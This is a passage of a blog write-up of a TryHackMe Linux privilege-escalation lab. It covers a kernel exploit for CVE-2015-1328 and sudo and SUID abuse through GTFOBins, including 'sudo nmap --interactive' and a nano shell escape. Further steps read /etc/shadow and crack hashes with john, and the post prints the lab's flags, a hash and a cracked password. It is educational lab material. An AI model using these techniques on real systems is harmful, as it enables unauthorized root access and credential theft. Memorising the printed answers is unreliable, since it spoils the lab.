src="https://cdn-images-1.medium.com/max/503/1*xFKFzdZky5k_8CDidhpBTA.png" /><figcaption>Identifying Python version</figcaption></figure><p>The target system is running two versions of Python, but the answer field accepts only the Python2 version.</p><p><strong>Answer: </strong>Python 2.7.6</p><h4>Q: What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)</h4><p>We identified the kernel version of the target system in one of the previous questions. It is 3.13.0–24-generic. Let’s perform a simple google search for the required CVE number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtcbXM4RTDI2QWIx_Scgww.png" /><figcaption>Identifying the CVE affecting the kernel version</figcaption></figure><p>The first few results clearly state the CVE number issued for the vulnerability affecting the kernel version of the target system.</p><p><strong>Answer: </strong>CVE-2015-1328</p><h3>Task 5 — Privilege Escalation: Kernel Exploits</h3><h4>Q: find and use the appropriate kernel exploit to gain root privileges on the target system.</h4><p>In the previous task, we identified that the target system is vulnerable to CVE-2015-1328. Let’s try the first result from exploit-db.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_fAsXRWLCKIPuYmQELIvhw.png" /><figcaption>CVE-2015-1328 exploit</figcaption></figure><p>We can confirm that the kernel version falls in the range 3.13.0 &lt; 3.19. This exploit is also EDB Verified, as suggested by the check-mark, so we can run it safely against the target system. Let’s download the exploit into the /tmp directory and run it as per the following instructions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2X8CHLtDO22saVFSem6kWA.png" /><figcaption>Instructions to compile the code and run the exploit</figcaption></figure><p>Here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjkIZbUMw0_uQjTvEUtkjw.png" /><figcaption>Running the exploit on the target</figcaption></figure><p>And we are in!</p><h4>Q: What is the content of the flag1.txt file?</h4><p>We have root access on the system. Let’s first locate the flag1.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*5aIQkxzKceUfOI0iT8ETjQ.png" /><figcaption>Identifying the location of flag1.txt</figcaption></figure><p>Now, let’s print the file contents to grab the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*DaX52ksGAFxoIN7cgCWqqA.png" /><figcaption>Flag obtained</figcaption></figure><p>There it is. Nice and easy!</p><p><strong>Answer: </strong>THM-28392872729920</p><h3>Task 6 — Privilege Escalation: Sudo</h3><h4>Q: How many programs can the user “karen” run on the target system with sudo rights?</h4><p>The task mentions the command sudo -l for checking root privileges available to the current user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Er291J8uHRFjg2-8PB5Z7A.png" /><figcaption>Checking root privileges using ‘sudo -l’</figcaption></figure><p>Let’s run the said command to identify the programs the karen can run with sudo rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBpWGrx22IXowyH-7kNb1w.png" /><figcaption>Identifying commands with sudo rights</figcaption></figure><p>Thus, karen can run three commands with sudo rights — find, less, and nano.</p><p><strong>Answer: </strong>3</p><h4>Q: What is the content of the flag2.txt file?</h4><p>First, let’s locate the flag2.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*k3K_O1MBJZ5Dm2F7Evg3ag.png" /><figcaption>Identifying the location of flag2.txt using ‘locate’</figcaption></figure><p>The locate command does not work, so we will use the find command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*hEkVoPlJt1Bu6tkc_YXfKg.png" /><figcaption>Identifying the location of flag2.txt using ‘find’</figcaption></figure><p>Let’s break down the command.</p><p>find Initiating the command for finding the required file<br>/ The directory in which we want to look for the file — here, we are looking into the entire file system<br>-type f Specifying the type of file or object we want to look for — &#39;f&#39; stands for regular file<br>-name flag2.txt Specifying the name of the file</p><p>We have found the location of the file. Let’s now print its contents to grab the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*iYvhCDCyexDmeXbn2QL-9w.png" /><figcaption>Flag obtained</figcaption></figure><p>We have access to the file, so we can read it without any hassles. Nice and easy!</p><p><strong>Answer: </strong>THM-402028394</p><h4>Q: How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?</h4><p>The tasks provides the following hint in this regard:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UGBDGbPdZyWmx95QGAjDHg.png" /><figcaption>GTFOBins</figcaption></figure><p>Let us check out the <a href="https://gtfobins.github.io/">given link</a> and see how we can use Nmap with sudo rights to spawn a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Kk_I_1nM1p7ZMPiEqiMlw.png" /><figcaption>Nmap on GTFOBins</figcaption></figure><p>As shown in the second method, we can simply run the interactive mode to spawn a root shell.</p><p><strong>Answer: </strong>sudo nmap --interactive</p><h4>Q: What is the hash of frank’s password?</h4><p>Password hashes are generally stored in the /etc/shadow file. Let’s check out whether we can access it with our current privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*zkm4TluPebASOP4Rf5kiDQ.png" /><figcaption>Trying to access /etc/shadow as a standard user</figcaption></figure><p>As expected, a standard user cannot access the file. We need to leverage the three commands we identified that we can run with sudo rights.</p><p>Let’s try them all.</p><p>First, we will try the find command.<br>Let’s look into GTFOBins and get the command for spawning a root shell using find with sudo rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BrPSAtDRup0nXMjDarQwZg.png" /><figcaption>‘find’ command on GTFOBins</figcaption></figure><p>Let’s spawn a root shell to access the shadow file and search for frank’s password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zklxXq8SjE6G6kZGBgFJsA.png" /><figcaption>Obtaining frank’s password hash using ‘find’</figcaption></figure><p>There it is.</p><p>Now, let’s try the less command.<br>As the less command is used to print the contents of a file, we can simply run it with sudo rights to read the shadow file directly. While GTFOBins provides a command to spawn a shell, we do not need it in this case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvxJ9zJE9fd2YGz2cEVX7A.png" /><figcaption>Obtaining frank’s password hash using ‘less’</figcaption></figure><p>There we go. Two commands down!</p><p>Finally, let’s try the nano command.<br>We will go back to GTFOBins for this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sDnsgdhu29f4-hG6Lv6S8A.png" /><figcaption>‘nano’ command on GTFOBins</figcaption></figure><p>Looks alright. Let’s give it a shot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSwneI3lHRMmzfJDdOSXPQ.png" /><figcaption>Trying the GTFOBins sudo exploit for ‘nano’ command</figcaption></figure><p>Typing sudo nano spawned a nano window. Then, we hit CTRL+R followed by CTRL+X, which brought the input cursor to the Command to execute: field shown in the lower portion of the image. Now, we will run reset; sh 1&gt;&amp;0 2&gt;&amp;0 in that prompt to spawn a root shell. Then, we will again access the shadow file and grab the required password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1rBYg4b4HN8I__NjwhORw.png" /><figcaption>Obtaining frank’s password hash through ‘nano’-spawned root shell</figcaption></figure><p>And we have got the hash once again. Easy enough.</p><p><strong>Answer:</strong> $6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1</p><h3>Task 7 — Privilege Escalation: SUID</h3><h4>Q: Which user shares the name of a great comic book writer?</h4><p>Let’s check the /etc/passwd file to identify the user who shares the name of a great comic book writer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*raC2Ys46dPsD8Y3y8cfuHQ.png" /><figcaption>Accessing /etc/passwd for usernames</figcaption></figure><p>The user gerryconway appears to be the required username. (A quick google search confirms it is indeed the name of a famous comic book writer.)</p><p><strong>Answer:</strong> gerryconway</p><h4>Q: What is the password of user2?</h4><p>The task suggests searching for files with the SUID bit set. We will then leverage those files to access the shadow file and grab the password hash of user2. We will (potentially) crack the hash to obtain the required password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMAKpSz73ahG9cRH2COSeQ.png" /><figcaption>SUID bit and the ‘find’ command</figcaption></figure><p>Among the resulting files, only /usr/bin/base64 has an entry on GTFOBins with the SUID flag set. Let’s try it out to print the shadow file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6b5LrO9yIxJVGaRUS_RyGg.png" /><figcaption>‘base64’ command on GTFOBins</figcaption></figure><p>As suggested in the image, we will skip the first command (and perhaps even the second one).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BqHInbBQ1MiJIq7Dlqncpg.png" /><figcaption>Accessing password hashes in /etc/shadow using ‘base64’ GTFOBins exploit</figcaption></figure><p>We have the password hashes of gerryconwayand user2. Let us use john — a Kali built-in hash-cracking tool — to obtain the password of user2 from the hash. We will use the following command:<br>john --wordlist=/path/to/wordlist /path/to/hashfile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNncSmDuDmDvcO0i5WKepg.png" /><figcaption>Cracking user2’s password hash using ‘john’</figcaption></figure><p>And we have the password of user2.</p><p>Let’s try cracking the password of gerryconway just for the fun of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEwj3v5VyDFVfj1VuBQQdA.png" /><figcaption>Cracking gerryconway’s password hash using ‘john’</figcaption></figure><p>And we have cracked that too. Although not necessary, we can try cracking the password hashes of other users if we are unable to escalate our privileges vertically. The other users could potentially have different permissions or files that could be leveraged to get root access on the target system.</p><p><strong>Answer:</strong> Password1</p><h4>Q: What is the content of the flag3.txt file?</h4><p>First, let’s locate flag3.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*n1XhcNehFcO0VrS4DBxyAA.png" /><figcaption>Locating flag3.txt</figcaption></figure><p>Now that we have the location, we will use the base64 command to read the contents of flag3.txtjust as we did with the shadow file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*T9glPQf7mGqIj8p8XB5rZg.png" /><figcaption>Flag obtained</figcaption></figure><p>We have the flag!</p><p><strong>Answer:</strong> THM-3847834</p><blockquote>A lengthy write. We will go through the remaining tasks in Part 2 Insha’Allah.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0ae442e6864" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>